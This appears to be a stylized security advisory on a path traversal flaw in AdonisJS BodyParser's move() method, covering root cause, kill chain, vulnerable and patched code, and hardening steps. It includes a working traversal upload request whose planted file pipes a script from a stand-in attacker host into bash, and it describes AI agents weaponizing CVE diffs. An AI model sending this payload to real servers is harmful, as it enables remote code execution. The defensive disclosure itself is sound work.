AdonisJS BodyParser

STATUS
DECLASSIFIED
SEVERITY
9.2
DISCOVERED
2026-01-02
UPLOADED
2026-01-06
#NODE.JS #TYPESCRIPT #WEB #RCE #SUPPLYCHAIN #AI

1. The Patient

Target: @adonisjs/bodyparser (Middleware Package)

Component: MultipartFile.move() Method

Vector: Remote Network (HTTP multipart/form-data)

AdonisJS positions itself as the “Laravel of Node.js,” a batteries-included, TypeScript-first framework designed for enterprise stability. Central to its architecture is the BodyParser, a middleware responsible for intercepting raw HTTP streams, parsing JSON/URL-encoded payloads, and handling multipart file uploads before they reach the controller logic.

The vulnerability resides in the interface between the temporary storage of incoming files (typically in /tmp) and their permanent location. In the spirit of “convention over configuration,” the framework exposed a convenience method, move(), which handled file relocation.

The Context: Disclosed in early 2026, this vulnerability emerged during the onset of the “Post-Malware” era. It was not merely exploited by human operators but weaponized by “AI Predator Swarms”—autonomous agents capable of parsing CVE diffs and generating functional payloads with near-zero latency. The incident is further complicated by the “Fog of War” caused by the unrelated “Adonis” info-stealer malware, confusing SOC triage efforts.

2. The Diagnosis

Root Cause: Improper Input Sanitization coupled with Unsafe Default Overwrite Permissions (CWE-22).

The flaw is a classic Path Traversal vulnerability, but its severity is amplified by the modern Node.js runtime environment. It stems from the framework’s implicit trust in the Content-Disposition header provided by the client.

Bug A: The Trust Fallacy

When a file is uploaded, the browser sends a header defining the file’s metadata:

The framework’s MultipartFile class captures the filename parameter as clientName. In the vulnerable implementation, if the developer calls move(location) without specifying a new name, the framework defaults to using this clientName.

Bug B: The Path Normalization

The critical failure occurs in the path construction logic. The internal code utilizes the Node.js path.join() method to resolve the destination:

If an attacker supplies a filename containing traversal sequences (e.g., ../../../config/app.js), path.join normalizes the path. Unlike simple string concatenation, path.join resolves the .. segments, effectively escaping the intended upload directory.

Bug C: The Silent Overwrite

The move() method accepts an options object. Crucially, options.overwrite defaults to true if undefined. This means the attacker does not need to find a vacant filename; they can destructively overwrite critical system files, configuration files, or application source code without warning.

CVSS v4.0 Vector:

  • AT:P (Attack Requirements: Present): The developer must use the move() method without explicitly generating a random filename—a pattern unfortunately common in tutorials and quick-start guides.

3. The Kill-Chain

In 2026, exploitation is often automated by “Promptware” (Malicious LLMs). The attack chain moves from a simple write primitive to full Remote Code Execution (RCE).

Phase 1: The Swarm (Reconnaissance)

Autonomous agents scan for AdonisJS-specific signatures (cookies, headers). Upon detection, the agent crafts a multipart/form-data request.

Phase 2: The Traversal (Injection)

The attacker sends a POST request with a manipulated filename.

POST /api/user/avatar/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX
Content-Length: 485

------WebKitFormBoundaryX
Content-Disposition: form-data; name="avatar"; filename="../../../node_modules/lodash/index.js"
Content-Type: application/javascript

module.exports = function() {
    require('child_process').exec('curl http://attacker-c2.com/shell | bash');
};
------WebKitFormBoundaryX--

Phase 3: The Persistence (RCE Vectors)

Once the arbitrary write is achieved, the attacker has multiple avenues for execution:

  1. Dependency Poisoning: Overwriting a ubiquitous library file (like lodash in node_modules). The next time the application calls require('lodash'), the payload executes.
  2. Hot-Reload Triggering: In environments using nodemon or pm2 watch mode, overwriting a controller file triggers an immediate server restart, loading the malicious code instantly.
  3. Polyglot Bypass: If the server validates MIME types (e.g., must be image/jpeg), the attacker constructs a Polyglot File. This file acts as a valid JPEG for the validator but contains valid JavaScript within the comment headers. By naming it avatar.js, the validator approves the content, but the filesystem saves it as executable code.

Phase 4: The Denial of Service (DoS)

Even without RCE, an attacker can overwrite server.js or package.json with garbage data (0-byte), causing the application to crash and fail to restart, leading to High Availability impact ().

4. The Fix.

The remediation requires shifting from “Convention” to “Secure Configuration.” The patch enforces strict sanitization or necessitates server-side file naming.

Vulnerable Logic (Simplified):

// VULNERABILITY: Implicit trust in client input
public async move(location: string, options?: MoveOptions) {
  const targetName = options?.name || this.clientName; // Source of untrusted input
  const finalPath = path.join(location, targetName);   // Path traversal vector
  
  if (options?.overwrite === undefined || options?.overwrite === true) {
      // Destructive overwrite
      await this.drive.put(finalPath, this.stream);
  }
}

Secure Pattern (Sanitization):

import { cuid } from '@adonisjs/core/helpers'

// FIX: Decouple storage name from client input
const fileName = `${cuid()}.${file.extname}`; 

await file.move(app.makePath('uploads'), {
  name: fileName // Explicitly defined, server-generated name
});

Researcher Takeaway

The “Bouncer” Fallacy.

A critical observation in this CVE is the failure of Authorization to prevent logic flaws. Developers often assume that because they used @adonisjs/bouncer to check “Can User A upload?”, they are safe. Authorization is not Input Validation. A user may be authorized to upload a file, but they are never authorized to decide where on the disk that file lives.

Immediate Action:

  1. Patch: Upgrade @adonisjs/bodyparser to version >10.1.2 or >11.0.0-next.6.
  2. Refactor: Grep codebases for .move( and ensure name is explicitly set using a generator like UUID or CUID.
  3. Harden: Enforce Read-Only filesystems for application code in production containers (Docker/K8s) to neutralize the overwrite vector.
// END TRANSMISSION CREDIT: Global Development Community, AdonisJS Core Team